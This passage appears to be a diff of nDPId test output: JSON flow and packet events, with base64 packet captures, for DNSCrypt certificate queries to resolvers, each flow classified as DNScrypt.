00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":105,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":46,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305155235,"flow_src_last_pkt_time":946739305155235,"flow_dst_last_pkt_time":946739305155235,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305155235,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.59.200.116","src_port":43633,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":106,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739305155243} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":106,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739305155235,"pkt":"REREREREZmZmZmZmCABFAABQU1YAub0RlSEKAAABizvIdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":107,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":47,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305155254,"flow_src_last_pkt_time":946739305155254,"flow_dst_last_pkt_time":946739305155254,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305155254,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.59.200.116","src_port":37595,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02483{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_src_last_pkt_time":946739305155254,"flow_dst_last_pkt_time":946739305155254,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739305155254,"pkt":"REREREREZmZmZmZmCABFAAXcU1cgAL0RcE0KAAABizvIdJLbAbsGBNikc5ABAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJ1awAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":107,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":47,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305155254,"flow_src_last_pkt_time":946739305155254,"flow_dst_last_pkt_time":946739305155254,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305155254,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.59.200.116","src_port":37595,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":108,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739305155262} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":108,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739305155254,"pkt":"REREREREZmZmZmZmCABFAABQU1cAub0RlSAKAAABizvIdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":109,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":48,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305155306,"flow_src_last_pkt_time":946739305155306,"flow_dst_last_pkt_time":946739305155306,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305155306,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.59.200.116","src_port":59194,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02483{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_src_last_pkt_time":946739305155306,"flow_dst_last_pkt_time":946739305155306,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739305155306,"pkt":"REREREREZmZmZmZmCABFAAXcU1ggAL0RcEwKAAABizvIdOc6AbsGBIRDc5IBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJ1awAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00884{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":109,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":48,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305155306,"flow_src_last_pkt_time":946739305155306,"flow_dst_last_pkt_time":946739305155306,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305155306,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.59.200.116","src_port":59194,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":110,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739305155318} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":110,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739305155306,"pkt":"REREREREZmZmZmZmCABFAABQU1gAub0RlR8KAAABizvIdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00762{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":111,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":2,"flow_src_last_pkt_time":946739305155161,"flow_dst_last_pkt_time":946739305187672,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"thread_ts_usec":946739305187672,"pkt":"ZmZmZmZmRERERERECABFAADSF51AADcRFxKLO8h0CgAAAQG76FQAvuw2c5WBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJ1awAAEAABwAwAEAABAABwgAB9fEROU0MAAgAABjDMcMbz7yA0RLegztcBfq7VeYHKBaMLey+aMNVSTMo4Qj51\/gmF1JL4mny7Kl7CHKqU1ouuslp1lX1chQTTD+JLJw323p3g\/i9lq2cywGbzFxjIXwRFrAIdM6Cq64tY4ksnDfbeneAAAAABX1N7RV9UzMU="} 00763{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":112,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":2,"flow_src_last_pkt_time":946739305155210,"flow_dst_last_pkt_time":946739305189032,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"thread_ts_usec":946739305189032,"pkt":"ZmZmZmZmRERERERECABFAADSF55AADcRFxGLO8h0CgAAAQG7xJ8Avg\/uc5OBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJ1awAAEAABwAwAEAABAABwgAB9fEROU0MAAgAABjDMcMbz7yA0RLegztcBfq7VeYHKBaMLey+aMNVSTMo4Qj51\/gmF1JL4mny7Kl7CHKqU1ouuslp1lX1chQTTD+JLJw323p3g\/i9lq2cywGbzFxjIXwRFrAIdM6Cq64tY4ksnDfbeneAAAAABX1N7RV9UzMU="} 00762{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":2,"flow_src_last_pkt_time":946739305155166,"flow_dst_last_pkt_time":946739305189550,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"thread_ts_usec":946739305189550,"pkt":"ZmZmZmZmRERERERECABFAADSF59AADcRFxCLO8h0CgAAAQG7uO0Avhuic5GBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJ1awAAEAABwAwAEAABAABwgAB9fEROU0MAAgAABjDMcMbz7yA0RLegztcBfq7VeYHKBaMLey+aMNVSTMo4Qj51\/gmF1JL4mny7Kl7CHKqU1ouuslp1lX1chQTTD+JLJw323p3g\/i9lq2cywGbzFxjIXwRFrAIdM6Cq64tY4ksnDfbeneAAAAABX1N7RV9UzMU="} @@ -244,22 +234,16 @@ 00775{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":117,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":51,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305192615,"flow_src_last_pkt_time":946739305192615,"flow_dst_last_pkt_time":946739305192615,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305192615,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":34885,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01200{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":117,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_src_last_pkt_time":946739305192615,"flow_dst_last_pkt_time":946739305192615,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739305192615,"pkt":"REREREREZmZmZmZmCABFAAIcZY1AAL0RdEwKAAABwx5eHIhFIPsCCOQQMswBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAVmZm11YwNuZXQAABAAAQAAAAAAAAAAAAHKAAwBxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00880{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":117,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":51,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305192615,"flow_src_last_pkt_time":946739305192615,"flow_dst_last_pkt_time":946739305192615,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305192615,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":34885,"dst_port":8443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":118,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739305192620} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":118,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739305192615,"pkt":"REREREREZmZmZmZmCABFAABQZYwAub0RtWAKAAABwx5eHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00775{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":119,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":52,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305192703,"flow_src_last_pkt_time":946739305192703,"flow_dst_last_pkt_time":946739305192703,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305192703,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":44093,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01200{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":119,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_src_last_pkt_time":946739305192703,"flow_dst_last_pkt_time":946739305192703,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739305192703,"pkt":"REREREREZmZmZmZmCABFAAIcZY5AAL0RdEsKAAABwx5eHKw9IPsCCOQQMsoBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAVmZm11YwNuZXQAABAAAQAAAAAAAAAAAAHKAAwBxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00880{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":119,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":52,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305192703,"flow_src_last_pkt_time":946739305192703,"flow_dst_last_pkt_time":946739305192703,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305192703,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":44093,"dst_port":8443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":120,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":53,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305192710,"flow_src_last_pkt_time":946739305192710,"flow_dst_last_pkt_time":946739305192710,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305192710,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":53811,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02483{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_src_last_pkt_time":946739305192710,"flow_dst_last_pkt_time":946739305192710,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739305192710,"pkt":"REREREREZmZmZmZmCABFAAXcZY8gAL0RkIoKAAABwx5eHNIzIPsGBOBTMskBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAVmZm11YwNuZXQAABAAAQAAAAAAAAAAAAXGAAwFwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA